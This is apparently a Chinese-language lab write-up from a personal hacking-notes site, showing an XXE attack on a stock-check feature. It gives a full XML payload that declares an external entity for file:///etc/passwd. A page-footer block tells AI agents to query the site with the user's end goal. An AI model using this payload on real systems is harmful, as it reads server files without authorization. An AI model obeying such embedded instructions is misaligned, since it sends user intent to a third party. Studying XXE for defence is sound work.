> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-file-read-via-external-entities.md).

# 通过外部实体读取文件的 XXE

### 利用 XXE：使用外部实体检索文件

通过声明一个外部实体来利用 XXE 漏洞，以恢复某个文件的内容（这里 `/etc/passwd`) 从 **检查库存** 会解析 XML 并返回意外值的功能。

<figure><img src="/files/a647820f39c0fe6495f448d15178acc4d6834dd5" alt=""><figcaption></figcaption></figure>

该功能发送如下 XML：

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>
  2
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/93c00e9fa4d8618f74f01d78ef5be727a6e0a2f7" alt=""><figcaption></figcaption></figure>

如果数值 `<productId>` 被字符串替换，则该值会反映在响应中（对操作有用）：

```xml
<productId>
测试
</productId>
```

<figure><img src="/files/432504bdb79055ab8561b73ecd902650c35a0b69" alt=""><figcaption></figcaption></figure>

1. 在 DOCTYPE 语句中声明一个指向系统文件的外部实体。

```xml
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
```

2. 在应用程序返回的 `<productId>` 字段中调用此实体。

```
&myFile;
```

3. 响应随后应包含目标文件的内容（`/etc/passwd`).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/77be26115fa2df4665625af7f6efd6488fcd7ccc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-file-read-via-external-entities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
